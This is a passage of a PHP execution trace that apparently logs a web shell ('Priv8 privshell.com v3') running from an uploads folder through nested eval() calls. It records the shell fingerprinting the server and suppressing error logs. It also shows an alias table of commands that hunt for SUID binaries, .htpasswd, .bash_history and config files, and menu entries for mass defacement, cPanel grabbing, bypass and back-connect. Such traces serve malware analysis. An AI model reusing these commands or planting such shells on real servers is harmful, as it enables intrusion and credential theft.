4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	376	_COOKIE['421aa90e079fa326b6494f812ad13e79key'] = 'ecd862b3d0595af0a0b03f511e800938'
5	25	0	0.020354	1237488	setcookie	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	377	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
5	25	1	0.020375	1237688
5	25	R			TRUE
4	24	1	0.020390	1237624
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	16	_POST['charset'] = 'utf-8'
4	26	0	0.020413	1238000	ini_set	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	25	2	'error_log'	NULL
4	26	1	0.020433	1238072
4	26	R			''
4	27	0	0.020446	1238000	ini_set	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	26	2	'log_errors'	0
4	27	1	0.020461	1238072
4	27	R			'0'
4	28	0	0.020474	1238000	ini_set	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	27	2	'max_execution_time'	0
4	28	1	0.020488	1238072
4	28	R			'0'
4	29	0	0.020501	1238000	set_time_limit	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	28	1	0
4	29	1	0.020517	1238064
4	29	R			FALSE
4	30	0	0.020530	1238032	version_compare	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	29	3	'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'	'5.3.0'	'<'
4	30	1	0.020549	1238128
4	30	R			FALSE
4	31	0	0.020562	1238032	define	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	32	2	'VERSION'	'Priv8 privshell.com v3'
4	31	1	0.020579	1238136
4	31	R			TRUE
4	32	0	0.020592	1238064	get_magic_quotes_gpc	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	33	0
4	32	1	0.020606	1238064
4	32	R			FALSE
4	33	0	0.020619	1238064	md5	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	47	1	'localhost'
4	33	1	0.020633	1238160
4	33	R			'421aa90e079fa326b6494f812ad13e79'
4	34	0	0.020649	1238064	md5	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	48	1	'localhost'
4	34	1	0.020662	1238160
4	34	R			'421aa90e079fa326b6494f812ad13e79'
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	48	_COOKIE['421aa90e079fa326b6494f812ad13e79ajax'] = TRUE
4	35	0	0.020692	1238128	substr	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	63	3	'Linux'	0	3
4	35	1	0.020708	1238256
4	35	R			'Lin'
4	36	0	0.020721	1238160	strtolower	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	63	1	'Lin'
4	36	1	0.020735	1238224
4	36	R			'lin'
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	66	$os = 'nix'
4	37	0	0.020760	1238128	ini_get	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	67	1	'safe_mode'
4	37	1	0.020775	1238160
4	37	R			FALSE
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	67	$safe_mode = FALSE
4	38	0	0.020800	1238128	error_reporting	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	69	1	0
4	38	1	0.020813	1238168
4	38	R			22527
4	39	0	0.020826	1238128	ini_get	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	70	1	'disable_functions'
4	39	1	0.020841	1238608
4	39	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	70	$disable_functions = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4	40	0	0.020887	1238576	getcwd	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	71	0
4	40	1	0.020904	1238624
4	40	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	71	$home_cwd = '/var/www/html/uploads'
4	41	0	0.020931	1238624	getcwd	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	74	0
4	41	1	0.020944	1238672
4	41	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	74	$cwd = '/var/www/html/uploads'
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	80	$cwd .= '/'
4	42	0	0.020983	1238672	function_exists	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	281	1	'posix_getpwuid'
4	42	1	0.020998	1238712
4	42	R			TRUE
4	43	0	0.021010	1238672	function_exists	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	282	1	'posix_getgrgid'
4	43	1	0.021024	1238712
4	43	R			TRUE
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	629	$aliases = ['List dir' => 'ls -lha', 'list file attributes on a Linux second extended file system' => 'lsattr -va', 'show opened ports' => 'netstat -an | grep -i listen', 'process status' => 'ps aux', 'Find' => '', 'find all suid files' => 'find / -type f -perm -04000 -ls', 'find suid files in current dir' => 'find . -type f -perm -04000 -ls', 'find all sgid files' => 'find / -type f -perm -02000 -ls', 'find sgid files in current dir' => 'find . -type f -perm -02000 -ls', 'find config.inc.php files' => 'find / -type f -name config.inc.php', 'find config* files' => 'find / -type f -name "config*"', 'find config* files in current dir' => 'find . -type f -name "config*"', 'find all writable folders and files' => 'find / -perm -2 -ls', 'find all writable folders and files in current dir' => 'find . -perm -2 -ls', 'find all service.pwd files' => 'find / -type f -name service.pwd', 'find service.pwd files in current dir' => 'find . -type f -name service.pwd', 'find all .htpasswd files' => 'find / -type f -name .htpasswd', 'find .htpasswd files in current dir' => 'find . -type f -name .htpasswd', 'find all .bash_history files' => 'find / -type f -name .bash_history', 'find .bash_history files in current dir' => 'find . -type f -name .bash_history', 'find all .fetchmailrc files' => 'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir' => 'find . -type f -name .fetchmailrc', 'Locate' => '', 'locate httpd.conf files' => 'locate httpd.conf', 'locate vhosts.conf files' => 'locate vhosts.conf', 'locate proftpd.conf files' => 'locate proftpd.conf', 'locate psybnc.conf files' => 'locate psybnc.conf', 'locate my.conf files' => 'locate my.conf', 'locate admin.php files' => 'locate admin.php', 'locate cfg.php files' => 'locate cfg.php', 'locate conf.php files' => 'locate conf.php', 'locate config.dat files' => 'locate config.dat', 'locate config.php files' => 'locate config.php', 'locate config.inc files' => 'locate config.inc', 'locate config.inc.php' => 'locate config.inc.php', 'locate config.default.php files' => 'locate config.default.php', 'locate config* files ' => 'locate config', 'locate .conf files' => 'locate \'.conf\'', 'locate .pwd files' => 'locate \'.pwd\'', 'locate .sql files' => 'locate \'.sql\'', 'locate .htpasswd files' => 'locate \'.htpasswd\'', 'locate .bash_history files' => 'locate \'.bash_history\'', 'locate .mysql_history files' => 'locate \'.mysql_history\'', 'locate .fetchmailrc files' => 'locate \'.fetchmailrc\'', 'locate backup files' => 'locate backup', 'locate dump files' => 'locate dump', 'locate priv files' => 'locate priv']
4	44	0	0.021115	1238712	function_exists	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1687	1	'actionFilesMan'
4	44	1	0.021131	1238752
4	44	R			TRUE
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1688	_POST['a'] = 'FilesMan'
4	45	0	0.021159	1238712	function_exists	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1691	1	'actionFilesMan'
4	45	1	0.021174	1238752
4	45	R			TRUE
4	46	0	0.021188	1238672	actionFilesMan	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1692	0
5	47	0	0.021204	1238672	hardHeader	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1017	0
6	48	0	0.021220	1242744	htmlspecialchars	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	135	1	'/var/www/html/uploads/'
6	48	1	0.021237	1242936
6	48	R			'/var/www/html/uploads/'
6	49	0	0.021252	1242744	htmlspecialchars	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	136	1	'FilesMan'
6	49	1	0.021267	1242936
6	49	R			'FilesMan'
6	50	0	0.021281	1242744	htmlspecialchars	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	137	1	'utf-8'
6	50	1	0.021296	1242936
6	50	R			'utf-8'
6	51	0	0.021311	1242744	strpos	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	138	2	NULL	'\n'
6	51	1	0.021326	1242816
6	51	R			FALSE
6	52	0	0.021340	1242744	htmlspecialchars	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	138	2	NULL	3
6	52	1	0.021355	1242976
6	52	R			''
6	53	0	0.021369	1242744	strpos	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	139	2	NULL	'\n'
6	53	1	0.021384	1242816
6	53	R			FALSE
6	54	0	0.021397	1242744	htmlspecialchars	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	139	2	NULL	3
6	54	1	0.021412	1242976
6	54	R			''
6	55	0	0.021425	1242744	strpos	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	140	2	NULL	'\n'
6	55	1	0.021440	1242816
6	55	R			FALSE
6	56	0	0.021453	1242744	htmlspecialchars	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	140	2	NULL	3
6	56	1	0.021468	1242976
6	56	R			''
6	57	0	0.021483	1246840	md5	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	151	1	'localhost'
6	57	1	0.021497	1246936
6	57	R			'421aa90e079fa326b6494f812ad13e79'
6	58	0	0.021514	1246840	md5	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	152	1	'localhost'
6	58	1	0.021528	1246936
6	58	R			'421aa90e079fa326b6494f812ad13e79'
6	59	0	0.021543	1246840	md5	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	153	1	'localhost'
6	59	1	0.021556	1246936
6	59	R			'421aa90e079fa326b6494f812ad13e79'
6	60	0	0.021571	1246840	md5	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	154	1	'localhost'
6	60	1	0.021584	1246936
6	60	R			'421aa90e079fa326b6494f812ad13e79'
6	61	0	0.021599	1246840	md5	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	155	1	'localhost'
6	61	1	0.021612	1246936
6	61	R			'421aa90e079fa326b6494f812ad13e79'
6	62	0	0.021627	1246840	addslashes	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	167	1	'/uploads/kiko.php'
6	62	1	0.021641	1246872
6	62	R			'/uploads/kiko.php'
6	63	0	0.021666	1238760	diskfreespace	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	199	1	'/var/www/html/uploads/'
6	63	1	0.021690	1238792
6	63	R			193561944064
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	199	$freeSpace = 193561944064
6	64	0	0.021718	1238760	disk_total_space	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	200	1	'/var/www/html/uploads/'
6	64	1	0.021734	1238792
6	64	R			232015802368
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	200	$totalSpace = 232015802368
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	201	$totalSpace = 232015802368
6	65	0	0.021778	1238760	php_uname	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	202	1	'r'
6	65	1	0.021794	1238840
6	65	R			'5.15.0-60-generic'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	202	$release = '5.15.0-60-generic'
6	66	0	0.021820	1238808	php_uname	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	203	1	's'
6	66	1	0.021834	1238872
6	66	R			'Linux'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	203	$kernel = 'Linux'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	204	$explink = 'https://www.exploit-db.com/search/?action=search&description='
6	67	0	0.021873	1238840	strpos	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	205	2	'Linux'	'Linux'
6	67	1	0.021887	1238912
6	67	R			0
6	68	0	0.021900	1238840	substr	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	206	3	'5.15.0-60-generic'	0	6
6	68	1	0.021916	1238968
6	68	R			'5.15.0'
6	69	0	0.021929	1238888	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	206	1	'Linux Kernel 5.15.0'
6	69	1	0.021944	1238968
6	69	R			'Linux+Kernel+5.15.0'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	206	$explink .= 'Linux+Kernel+5.15.0'
6	70	0	0.021970	1238952	function_exists	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	209	1	'posix_getegid'
6	70	1	0.021985	1238992
6	70	R			TRUE
6	71	0	0.021998	1238952	posix_geteuid	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	215	0
6	71	1	0.022013	1238952
6	71	R			33
6	72	0	0.022025	1238952	posix_getpwuid	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	215	1	33
6	72	1	0.022065	1239784
6	72	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	215	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
6	73	0	0.022110	1239752	posix_getegid	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	216	0
6	73	1	0.022123	1239752
6	73	R			33
6	74	0	0.022136	1239752	posix_getgrgid	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	216	1	33
6	74	1	0.022164	1240416
6	74	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	216	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	217	$user = 'www-data'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	218	$uid = 33
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	219	$group = 'www-data'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	220	$gid = 33
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	222	$cwd_links = ''
6	75	0	0.022258	1239032	explode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	223	2	'/'	'/var/www/html/uploads/'
6	75	1	0.022274	1239640
6	75	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	223	$path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	224	$n = 6
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	225	$i = 0
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	226	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	227	$j = 0
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= '/'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	229	$cwd_links .= '")\'>/</a>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	225	$i++
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	226	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	227	$j = 0
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= '/'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= 'var/'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	229	$cwd_links .= '")\'>var/</a>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	225	$i++
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	226	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	227	$j = 0
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= '/'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= 'var/'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= 'www/'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	229	$cwd_links .= '")\'>www/</a>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	225	$i++
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	226	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	227	$j = 0
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= '/'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= 'var/'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= 'www/'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= 'html/'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	229	$cwd_links .= '")\'>html/</a>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	225	$i++
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	226	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	227	$j = 0
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= '/'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= 'var/'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= 'www/'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= 'html/'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	228	$cwd_links .= 'uploads/'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	227	$j++
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	229	$cwd_links .= '")\'>uploads/</a>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	225	$i++
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	231	$charsets = [0 => 'Windows-1251', 1 => 'UTF-8', 2 => 'KOI8-R', 3 => 'KOI8-U', 4 => 'cp866']
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	232	$opt_charsets = ''
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	234	$opt_charsets .= '<option value="Windows-1251" >Windows-1251</option>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	234	$opt_charsets .= '<option value="UTF-8" >UTF-8</option>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	234	$opt_charsets .= '<option value="KOI8-R" >KOI8-R</option>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	234	$opt_charsets .= '<option value="KOI8-U" >KOI8-U</option>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	234	$opt_charsets .= '<option value="cp866" >cp866</option>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	235	$m = ['Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Mass Deface' => 'Sql', 'Adminer' => 'Adminer', 'Terminal' => 'Console', 'Mass User' => 'Edituser', 'Grab Cpanel' => 'Php', 'Get Configs' => 'SafeMode', 'Sym Python' => 'Sym', 'Jumping' => 'StringTools', 'Cgi Telnet' => 'Bruteforce', 'Bypass' => 'bypas', 'BC' => 'Network']
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	239	$m['Logout'] = 'Logout'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	240	$m['Self Remove'] = 'SelfRemove'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	241	$menu = ''
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Sec. Info'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'SecInfo\',null,\'\',\'\',\'\')">Sec. Info</a></font></th>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Files'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">Files</a></font></th>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Mass Deface'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'Sql\',null,\'\',\'\',\'\')">Mass Deface</a></font></th>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Adminer'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'Adminer\',null,\'\',\'\',\'\')">Adminer</a></font></th>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Terminal'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'Console\',null,\'\',\'\',\'\')">Terminal</a></font></th>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Mass User'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'Edituser\',null,\'\',\'\',\'\')">Mass User</a></font></th>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Grab Cpanel'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'Php\',null,\'\',\'\',\'\')">Grab Cpanel</a></font></th>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Get Configs'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'SafeMode\',null,\'\',\'\',\'\')">Get Configs</a></font></th>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Sym Python'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'Sym\',null,\'\',\'\',\'\')">Sym Python</a></font></th>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Jumping'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'StringTools\',null,\'\',\'\',\'\')">Jumping</a></font></th>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Cgi Telnet'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'Bruteforce\',null,\'\',\'\',\'\')">Cgi Telnet</a></font></th>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Bypass'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'bypas\',null,\'\',\'\',\'\')">Bypass</a></font></th>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'BC'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'Network\',null,\'\',\'\',\'\')">BC</a></font></th>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Logout'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'Logout\',null,\'\',\'\',\'\')">Logout</a></font></th>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	242	$k = 'Self Remove'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	243	$menu .= '<th> <font color="#ffb101">- <a href="#" onclick="g(\'SelfRemove\',null,\'\',\'\',\'\')">Self Remove</a></font></th>'
5		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	244	$drives = ''
6	76	0	0.023447	1242824	php_uname	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	252	0
6	76	1	0.023463	1242936
